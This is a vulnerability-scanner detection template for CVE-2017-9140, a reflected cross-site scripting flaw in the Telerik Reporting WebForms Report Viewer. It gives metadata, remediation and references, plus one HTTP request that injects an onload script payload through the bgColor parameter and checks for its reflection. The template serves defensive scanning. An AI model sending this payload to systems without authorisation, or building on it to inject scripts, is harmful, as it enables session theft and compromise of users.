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Reflected XSS - Telerik Reporting Module

ID: CVE-2017-9140

Severity: medium

Author: dhiyaneshDk

Tags: cve2017,cve,xss,telerik,progress

Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.

id: CVE-2017-9140
info:
name: Reflected XSS - Telerik Reporting Module
author: dhiyaneshDk
severity: medium
description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
reference:
- https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
- https://nvd.nist.gov/vuln/detail/CVE-2017-9140
- https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
- http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
- https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-9140
cwe-id: CWE-79
epss-score: 0.00191
epss-percentile: 0.56488
cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: progress
product: telerik_reporting
tags: cve2017,cve,xss,telerik,progress
http:
- method: GET
path:
- '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
matchers-condition: and
matchers:
- type: word
words:
- '#000000"onload="prompt(1)'
- 'Telerik.ReportViewer.axd?name=Resources'
condition: and
- type: status
status:
- 200
# digest: 490a0046304402202cbed19b5af7421014b9b7e029bdfa0907d11ef70f568760516dfa8b30751ee302203ac77165eb1819778647ffe7231277e5192d1b97085ff69e8403b6572ba29583:922c64590222798bb761d5b6d8e72950

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